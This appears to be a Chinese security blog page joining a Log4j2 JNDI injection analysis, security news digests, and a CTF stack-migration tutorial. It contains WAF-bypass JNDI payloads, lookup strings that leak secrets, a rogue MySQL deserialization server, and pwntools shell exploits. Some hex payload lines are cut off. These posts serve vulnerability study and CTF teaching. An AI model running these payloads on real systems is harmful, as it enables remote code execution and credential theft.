Log4j2 JNDI注入分析笔记
前言
Apache Log4j2是一款优秀的Java日志框架,最近爆出了一个jndi注入的漏洞,影响面非常广,各大厂商都被波及。Log4j2作为日志记录的第三方库,被广泛得到使用,这次主要分享一下,最近的一些调试记录。
JNDI简介
JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口。本质上就是一个接口,ND代表的Naming 和 Directory,分别代表Naming Service(名称服务)和Directory Service(目录服务)。参考https://evilpan.com/2021/12/13/jndi-injection/
名称服务就是通过名称查找实际对象的服务,例如:通过域名寻找ip地址即DNS服务、文件系统、以及LDAP( http://www.ietf.org/rfc/rfc2251.txt)即轻量级目录访问协议都是名称服务,不同的是LDAP(http://www.ietf.org/rfc/rfc2251.txt(https://datatracker.ietf.org/doc/rfc4511/) )是一个协议,是和HTTP一样是通用的,而不止局限于JAVA.目录服务是名称服务的一种拓展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(attributes)信息。由此,我们不仅可以根据名称去
JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI,SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装,如下图所示:
如上JNDI为不同的目录服务提供统一的操作接口
JDK 中包含了下述内置的目录服务:
RMI: Java Remote Method Invocation,Java 远程方法调用;
LDAP: 轻量级目录访问协议;
CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services);
RMI
RMI(Remote Method Invocation)即java的远程方法调用,Java RMI是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果,即JAVA的RPC机制。关于RMI需要注意以下两点:
RMI的传输是基于反序列化的。
对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于服务端classpath(不在classpath的情况,可以看后面RMI动态加载类相关部分)中的可序列化类来反序列化恢复对象。
更多可以参考:https://paper.seebug.org/1091/#java-rmi_1
LDAP
LDAP即是JNDI SPI支持的Service Provider之一,但同时也是协议。是早期 X.500 DAP (目录访问协议) 的一个子集,因此有时也被称为 X.500-lite。LDAP目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP目录服务基于客户端-服务器模型,它的功能用于对一个存在目录数据库的访问。 LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。
LDAP 的目录信息是以树形结构进行存储的,在树根一般定义国家(c=CN)或者域名(dc=com),其次往往定义一个或多个组织(organization,o)或组织单元(organization unit,ou)。一个组织单元可以包含员工、设备信息(计算机/打印机等)相关信息。
一些定义:
漏洞环境
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>log4j-test</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.9.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.9.0</version>
</dependency>
</dependencies>
</project>
log4jTest.java
import org.apache.logging.log4j.LogManager;
public class log4jTest {
//获取日志记录器Logger,名字为本类类名
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
for(int i=0;i<2;i++){
logger.error("${jndi:ldap://$xxxx}");
}
}
}
漏洞分析
产生原因
Log4j2默认提供了Lookups功能,查找提供了一种在任意位置向 Log4j 配置添加值的方法。它们是实现https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrLookup.html接口的特定类型的插件。其中包括了对JNDI
Lookup的支持,但是却未对传入内容进行任何限制,导致攻击者可以JNDI注入,远程加载恶意类到应用中,从而RCE。
流程分析
这里使用idea进行动态调试。
首先f7跟进error方法:
到达isEnabled,这里有个限制就是log 的level等级必须大于或等于配置的level,在测试的几个版本中,不配置的情况下默认为ERROR,所以info之类的很多无法触发漏洞,log4j2中, 共有8个级别,从低到高为:ALL < TRACE < DEBUG < INFO < WARN < ERROR < FATAL < OFF。
在
org.apache.logging.log4j.core.pattern.MessagePatternConverter \#format
处会对this.config和this.noLookups进行判断,然后循环读取,当遇到${
就会触发
config.getStrSubstitutor().replace(event, value)
对value进行进一步的格式化处理。
跟进replace函数:
继续跟进substitute函数,这里主要是递归去处理我们传入的内容,其中prefixMatcher和suffixMatcher分别匹配${和}。
配置到${和}之后,就会把括号内的值赋给varName:
在374行会varName会作为参数传给resolveVariable:
然后一路跟下去,resolveVariable方法这里则直接根据不同的协议选择相应的lookup逻辑进行解析执行,通过log4j-core 自带的JndiLookup进行处理JNDI URL, getVariableResolver()获取支持的协议{date, ctx, main, sys, env, sd, java, marker, jndi, jvmrunargs, bundle, map, log4j},不同的版本支持的协议略有不同,比如2.14.1支持的是{date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs,
最终在jndiManager类,用java原生的javax.naming.InitialContext.lookup 去访问,这一步是经典的JNDI注入,从而造成RCE。
WAF 绕过
由于整个处理过程是递归进行的,遇到${}就会处理一次,最后会把处理好的内容拼接在一起,然后传值给resolveVariable方法,然后根据不同的协议进行进入相应的lookup方法,并且还内置一些分隔符的处理逻辑,例如:":-",造成一些绕过。
可以构造这样的payload:
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:1389/Exploit.class}
当匹配到":-"会进行下面的处理,会把匹配${}转化为字符数组,然后对这个数组进行遍历,遇到":-"就会使用substring函数把":-"之前的内容包括给":-"截掉,这里":-"不分先后,例如"-:",因为是作为一个数组匹配的,只要在一起就行。所以便有了千奇百怪的绕waf手法。
substitute会递归处理每一个${},第一轮"::-j"会被换为"j"。
所以还可以用lower, upper等支持的协议进行一些绕过,例如:
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
但是部分版本支持的协议不太一样,这点需要注意一下。部分版本不支持lower, upper等协议,例如:2.9.0
外带敏感信息
在不能RCE的情况下,可以通过dnslog等方式外带一些敏感信息,例如
${hostName}
${sys:user.dir}
${sys:java.version}
${java:os}
.........
更多可以参考官方的https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html#JndiLookup支持的协议用法
@浅蓝师傅发现了危害更大一种利用方式,就是利用Bundle协议读取项目配置文件来获取敏感信息,例如读取 springboot 的application.properties 配置文件获取 redis、mysql 的配置项等敏感信息:
${bundle:application:spring.datasource.password}
RCE的一些限制
JNDI注入有很多种不同的利用pyload,但是都存在一些限制条件。
JDK 中默认支持的 JNDI 自动协议转换以及对应的工厂类如下所示:
RMI
从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。从JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.c
LDAP
2018年10月,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,
手动开启上面的属性,可以通过代码实现,如下:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
绕过JDK版本限制
绕过一般需要利用受害者CLASSPATH的类,依赖于本地的Gadget,常用的有下面两种手法:
找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。
第一种绕过手法常用的是org.apache.naming.factory.BeanFactory这个类,因为它存在于Tomcat依赖包中,所以应用比较广泛。org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。
第二种绕过手法需要利用一个本地的反序列化利用链(如CommonsCollections),然后可以结合Fastjson等漏洞入口点和JdbcRowSetImpl进行组合利用。
log4j1.x有限制的RCE
log4j 1.x 已停产,不会发布修复版本。目前大多使用的都是log4j2.x,但是还有少部分老旧业务使用的是1.x。这里的利用方式,比较鸡肋,所以只是记录一下,结合MySQL JDBC的利用方式。这里跟JNDI没啥关系。
环境搭建
log4j.properties
log4j.rootLogger=DEBUG,database
log4j.appender.database=org.apache.log4j.jdbc.JDBCAppender
#数据库地址
log4j.appender.database.URL=jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
log4j.appender.database.driver=com.mysql.jdbc.Driver
log4j.appender.database.user=root
log4j.appender.database.password=root
log4j.appender.database.sql=INSERT INTO log4j (message) VALUES('%d{yyyy-MM-dd HH:mm:ss} [%5p] - %c - %m%n')
#log4j.appender.database.layout=org.apache.log4j.PatternLayoutlog4j.propertieslog4j.properties
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>log4j-test</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.12</version>
</dependency>
</dependencies>
</project>
log4jTest.java
import org.apache.log4j.Logger;
import javax.naming.NamingException;
public class log4jTest {
//获取日志记录器Logger,名字为本类类名
public static void main(String[] args) throws NamingException {
//PropertyConfigurator.configure ("/Users/panda/Downloads/log4jDemo/src/main/resources/log4j.properties");
Logger logger = Logger.getLogger(log4jTest.class);
logger.error("error");
}
}
漏洞分析
知识点
JDBC简介
JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。
常用配置格式:
MYSQL JDBC反序列化漏洞原理
BlackHat Europe 2019 的议题https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf公布了MYSQL JDBC的反序列化利用链,原理是在使用MYSQL JDBC连接数据库的时候,会执行几个内置的sql查询语句,其中SHOW SESSION STATUS和SHOW COLLATION两个查询的结果集在MySQL客户端被处理时会调用ObjectInputStream.readObject()进行反序列化操作,如果攻击者搭建恶
mysql恶意服务器
# coding=utf-8
import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()
def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))
def get_payload_content():
#file文件的内容使用ysoserial生成的 使用规则:java -jar ysoserial [Gadget] [command] > payload
file= r'payload'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")
else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e67
return payload_content
# 主要逻辑
def run():
while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))
# 1.先发送第一个 问候报文
send_data(conn,greeting_data)
while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)
#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e0
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a652
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢??
# 获取payload
payload_content=get_payload_content()
# 计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# 计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441
send_data(conn, payload)
break
if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3306
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)
print("start fake mysql server listening on {}:{}".format(HOST,PORT))
run()
可以用ysoserial生成CC7的payload,然后运行恶意MySQL服务器进行监听。
例如:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections7 calc > payload
放在mysql服务器的py文件同级目录,并且运行mysql服务器。
流程分析
log4j三大组件为Logger、Appender、Layout。Logger负责收集处理日志记录,Layout负责日志输出的形式,而Appender负责配置日志的输出位置和方式。
其中Appender可以配置的一种方式为数据库输出(JDBCAppender),通过JDBC链接把日志输出到数据库中,配置时需要配置JDBC驱动,连接字符串,用户名,密码以及SQL语句。
我们直接把断点打在JDBCAppender.java的getConnection()处,因为这也是MYSQL JDBC反序列化的执行点。
调用链如下:
成功执行:
但是正常情况下我们是无法控制log4j的配置文件的,所以是比较鸡肋的,但是一些可以动态配置服务的,例如nacos,也许可以找到利用方式。
但是不知道是否支持log4j1.x,:)。
参考:
https://paper.seebug.org/1091/https://paper.seebug.org/942/https://githubmemory.com/repo/Ea3i0n/JNDIExploithttps://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.htmlhttps://evilpan.com/2021/12/13/jndi-injection/https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg
网络安全日报 2021年12月27日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、黑客利用Echelon信息窃取程序针对Telegram用户的加密钱包
https://threatpost.com/telegram-steal-crypto-wallet-credentials/177266/ 2、法国 IT 服务提供商 Inetum 遭受 BlackCat 勒索软件攻击
https://securityaffairs.co/wordpress/126022/cyber-crime/inetum-hit-by-blackcat-ransomware.html 3、Apple 修复了 macOS 的 Gatekeeper 安全功能绕过漏洞
https://securityaffairs.co/wordpress/126004/security/macos-gatekeeper-bypass-2.html 4、Fisher Price Chatter 蓝牙电话存在严重的隐私问题
https://securityaffairs.co/wordpress/125967/hacking/fisher-price-chatter-bluetooth-telephone-bugs.html 5、WordPress平台Flywheel存在子域名接管漏洞
https://portswigger.net/daily-swig/popular-wordpress-platform-flywheel-vulnerable-to-subdomain-takeover-researcher-claims 6、Apache发布安全更新修复了HTTP Server的两个漏洞
https://www.zdnet.com/article/apaches-new-security-update-for-http-server-fixes-two-flaws/ 7、捷克工业自动化公司mySCADA的myPRO产品存在多个漏洞
https://www.securityweek.com/several-critical-vulnerabilities-found-mypro-hmiscada-product 8、新的Blister恶意软件使用代码签名证书来逃避检测
https://thehackernews.com/2021/12/new-blister-malware-using-code-signing.html 9、Blackmagic修复了关键的DaVinci Resolve代码执行漏洞
https://www.bleepingcomputer.com/news/security/blackmagic-fixes-critical-davinci-resolve-code-execution-flaws/ 10、Android银行木马通过虚假的Google Play页面传播
https://www.bleepingcomputer.com/news/security/android-banking-trojan-spreads-via-fake-google-play-store-page/
网络安全日报 2021年12月24日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、AvosLocker 勒索软件重启系统到安全模式并安装远控
https://securityaffairs.co/wordpress/125937/malware/avoslocker-ransomware-safe-mode.html 2、研究人员披露 Microsoft Teams 软件中未修补的漏洞
https://thehackernews.com/2021/12/researchers-disclose-unpatched.html 3、NVIDIA、HPE 产品受 Log4j 漏洞影响
https://www.securityweek.com/nvidia-hpe-products-affected-log4j-vulnerabilities 4、攻击者利用《蜘蛛侠:英雄无归》钓鱼传播Cryptominer恶意软件
https://threatpost.com/spider-man-no-way-home-download-installs-cryptominer/177254 5、攻击者绕过Office 补丁( CVE-2021-40444)传播 Formbook 恶意软件
https://securityaffairs.co/wordpress/125927/malware/ms-office-cve-2021-40444-bypass-malware.html 6、费森尤斯卡比的Agilia Connect输液系统被发现存在十几个漏洞
https://www.govinfosecurity.com/fda-cisa-warn-fresenius-kabi-infusion-pump-flaws-a-18185 7、加纳国家服务秘书处由于数据库配置错误泄露了55GB公民数据
https://www.hackread.com/ghana-govt-agency-citizens-data-leak/ 8、严重的 Apache HTTPD 漏洞可能导致 RCE、DoS
https://threatpost.com/apache-httpd-server-bugs-rce-dos/177234/ 9、五眼联盟发布关于 Log4j 漏洞的联合指南
https://www.securityweek.com/five-eyes-nations-issue-joint-guidance-log4j-vulnerabilities 10、研究人员在 myPRO HMI/SCADA 产品中发现多个严重漏洞
https://www.securityweek.com/several-critical-vulnerabilities-found-mypro-hmiscada-product
网络安全日报 2021年12月23日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、CISA 发布扫描器以识别受Log4jShell影响的 Web 服务
https://securityaffairs.co/wordpress/125892/security/cisa-scanner-log4j-flaws.html2、微软确认"NotLegit" Azure 漏洞导致源代码库暴露
https://www.securityweek.com/microsoft-confirms-notlegit-azure-flaw-exposed-source-code-repositories3、PYSA团伙是11月最活跃的勒索软件团伙
https://securityaffairs.co/wordpress/125877/malware/pysa-ranomware-spike-nov-2021.html4、新漏洞可绕过关键 Microsoft MSHTML 漏洞的补丁
https://thehackernews.com/2021/12/new-exploit-lets-malware-attackers.html5、NVIDIA 披露受 Log4jShell影响的应用程序
https://www.bleepingcomputer.com/news/security/nvidia-discloses-applications-impacted-by-log4j-vulnerability/6、Evil Corp 伪装成 REvil 来逃避制裁
https://www.scmagazine.com/analysis/ransomware/evil-corp-is-dodging-sanctions-by-dressing-up-as-revil7、谷歌修复了 Chrome 站点隔离绕过漏洞
https://portswigger.net/daily-swig/safe-browsing-google-fixes-chrome-site-isolation-bypass-bug8、All in One SEO 插件严重漏洞影响数百万个WordPress网站
https://blog.sucuri.net/2021/12/critical-vulnerabilities-in-all-in-one-seo-plugin-affects-millions-of-wordpress-websites.html9、DaVinci Resolve 视频编辑软件中存在代码执行漏洞
https://blog.talosintelligence.com/2021/12/vuln-spotlight-davinci-resolve.html10、Android版本的Facebook存在不安全的直接对象引用漏洞
https://www.securityweek.com/facebook-patches-vulnerability-exposing-page-admin-identity
一篇文章玩明白Stack-migration
前置知识
Intel汇编,栈溢出利用,基础rop链
Stack_migration介绍
当我们发现存在栈溢出漏洞,但是溢出字节非常小,比如0x10的时候我们就需要利用栈迁移,将栈迁移置足够大的区段去编写rop链
以达到我们利用的目的。为了方便教学,这里以CTF赛题的形式进行教学。
典例一 题目给出便于利用的bss段地址或栈地址
这里我用我出给自己校赛的一道题作为讲解,给出了栈的地址
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[208]; // [rsp+0h] [rbp-D0h] BYREF
puts(&s);
puts(
"系统说罢,便将你渡入一方天地之中,只见天地之间一轮金日悬于九天之上,而在你面前是万里群山。\n");
puts(
"钝日斩星剑就在这些山里,自己慢慢找吧,不过本系统可不想等太久,这个明神瞳就送你了!\n");
printf("小子拿好了 :%p", buf);
puts(&byte_400818);
read(0, buf, 0xE0uLL);
return puts("神兵已得,接下来,就去手刃你的第一个仇人吧,万阳帝仙!\n");
}
这里是刚好溢出了0x10,并且给出了当前变量所处的栈地址,对于这种题目,都是直接套路杀的,而且这题没有开启canary和pie
我们只需要和往常一样先编写好rop链,再利用leave命令把栈迁移到到所给的bss段或者栈地址上
payload='a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
payload+='a'*(0xd0-len(payload))+p64(leak)+p64(leave)
第一次是泄露libc,第二次就是直接getshell
exp
# -*- coding: UTF-8 –*-
from pwn import *
r=process('./1')
elf=ELF('./1')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#context.log_level='debug'
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_rdi=0x0000000000400663
leave=0x4005F8
main=0x0400577
ret=0x000000000040044e
r.recvuntil('小子拿好了 :')
leak=int(r.recv(14),16)
log.success('leak:'+hex(leak))
payload='a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
payload+='a'*(0xd0-len(payload))+p64(leak)+p64(leave)
r.recvuntil("搬山之术?\n")
r.send(payload)
r.recvuntil('神兵已得,接下来,就去手刃你的第一个仇人吧,万阳帝仙!\n')
(r.recvuntil('\n'))
leak1=u64(r.recv(6).ljust(8,'\x00'))
log.success('leak1:'+hex(leak1))
base=leak1-0x080aa0
onegadget=[0x4f3d5,0x4f432,0x10a41c]
sys=base+0x04f550
one=onegadget[2]+base
sh=0x1b3e1a+base
r.recvuntil('小子拿好了 :')
leak2=int(r.recv(14),16)
log.success('leak2:'+hex(leak2))
payload1='a'*8+p64(pop_rdi)+p64(sh)+p64(ret)+p64(sys)
#payload1='a'*8+p64(one)
payload1+='a'*(0xd0-len(payload1))+p64(leak2)+p64(leave)
r.send(payload1)
r.interactive()
典例二 题目开启了canary并且没有给定合理的地址
对于这种题目实际上只是迁移的地点要自己进行gdb调试(摁调)还有就是leave指令稍微加了点细节从read函数那下手
本质是和典例一没差别的,都是属于栈迁移。这里用一道自己写的demo作为教学
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-24h]
char v6[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
init(argc, argv, envp);
for ( i = 0; i <= 24; ++i )
{
if ( (unsigned int)read(0, &v6[i], 1uLL) != 1 || v6[i] == 10 )
{
v6[i] = 0;
break;
}
}
printf("your in put%s\n", v6);
puts("give me another worlds!");
pwnme();
return __readfsqword(0x28u) ^ v7;
}
在printf("your in put%s\n", v6);这可以泄露canary,我们接着去看pwnme函数
unsigned __int64 pwnme()
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
read(0, buf, 0x30uLL);
return __readfsqword(0x28u) ^ v2;
}
同样溢出0x10,但是这次没有给定便于利用的题目,所以我们直接自己手动寻找,用ida ctrl+s 寻找到bss段的起始地址
一般利用地址都是大于bss起始地址最少0x300,具体如何要看自己的题目情况去调试
这里最主要的一点是接下来要讲的关于read函数的部分汇编利用
.text:00000000004006FE lea rax, [rbp+buf]
.text:0000000000400702 mov edx, 30h ; '0' ; nbytes
.text:0000000000400707 mov rsi, rax ; buf
.text:000000000040070A mov edi, 0 ; fd
.text:000000000040070F mov eax, 0
.text:0000000000400714 call _read
正常像典例一我们不去开启canary,构造一个rop链最少都要0x20,这里开启了canary而且题目所给的变量长度只有0x20,可读入0x30
rop链构造完canary都不用填返回地址直接寄了,所以这里的要巧妙利用read的leave。
pl = 'a'*24+p64(canary)+p64(bss)+p64(reread)
第一次先选中心仪的bss段把栈迁移上去,由于我们执行的汇编是在.text:00000000004006FE lea rax, [rbp+buf]
当我们栈迁移完了此时还可以有一次读入的机会,这时候的读入地址就是我们选择的bss段地址。
此时我们就可以写入rop链达到libc泄露的目的
pl = p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(canary)+p64(bss+0x18)+p64(reread)
pl = pl.ljust(24,'\x00')
得到libc之后直接恢复栈
pl = p64(0x400831)+p64(0)+p64(0x40083b)+p64(canary)+p64(0x6015d8)+p64(leave)
sleep(0.1)
s(pl)
第一个是rip的地址第二个是用来填充rbp第三个是填充返回地址的,0x6015d8是通过调试之后得知的最后恢复栈的时候
命令的起始地址
pwndbg> stack 30
00:0000│ rsp 0x6015c8 —▸ 0x400719 (pwnme+50) ◂— nop
01:0008│ rsi 0x6015d0 ◂— 0x0
... ↓ 2 skipped
04:0020│ 0x6015e8 ◂— 0x27ce95767da5b400
05:0028│ rbp 0x6015f0 ◂— 0x0
06:0030│ 0x6015f8 —▸ 0x40083b (main+171) ◂— nop
07:0038│ 0x601600 ◂— 0x0
08:0040│ 0x601608 —▸ 0x40083b (main+171) ◂— nop
09:0048│ 0x601610 ◂— 0x27ce95767da5b400
0a:0050│ 0x601618 —▸ 0x6015d8 ◂— 0x0
0b:0058│ 0x601620 —▸ 0x40072e (pwnme+71) ◂— leave
0c:0060│ 0x601628 ◂— 0x0
... ↓ 17 skipped
我们可以继续结合汇编来看
.text:0000000000400831 mov eax, 0
.text:0000000000400836 call pwnme
.text:000000000040083B nop
.text:000000000040083C mov rax, [rbp+var_8]
.text:0000000000400840 xor rax, fs:28h
.text:0000000000400849 jz short locret_400850
.text:000000000040084B call ___stack_chk_fail
rip执行mov eax, 0返回地址在.text:000000000040083B nop把canary填充做一个修补(第一次泄露的时候已经破坏了)
恢复完栈帧我们利用恢复的时候顺带迁移会去的bss段再去写入onegadget就直接getshell了
exp
import time
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
p = process('./Stack_migration')
#p=remote('101.43.94.145','28079')
elf = ELF('./Stack_migration')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
reread = 0x4006FE
leave = 0x40072E
bss = 0x601600
rdi = 0x00000000004008c3
start = 0x400600
s('a'*25)
ru('a'*25)
canary = u64('\x00'+rx(7))
success(hex(canary))
#p.recv()
pl = 'a'*24+p64(canary)+p64(bss)+p64(reread)
p.recv()
s(pl)
pl = p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(canary)+p64(bss+0x18)+p64(reread)
pl = pl.ljust(24,'\x00')
sleep(0.1)
s(pl)
pl = p64(0x400831)+p64(0)+p64(0x40083b)+p64(canary)+p64(0x6015d8)+p64(leave)
sleep(0.1)
s(pl)
base = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['puts']
ogg = base+0x4f3d5
pl = 'a'*24+p64(canary)+p64(0)+p64(ogg)
s(pl)
# debug()
shell()
典例三 C++类的栈迁移
虽然线上赛不一定见得到,但是线下赛c++的趋势已经越来越明显了,不学c++你会失去很多你本该拿到的东西
这个也是我自己整理的一个demo,先看ida
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
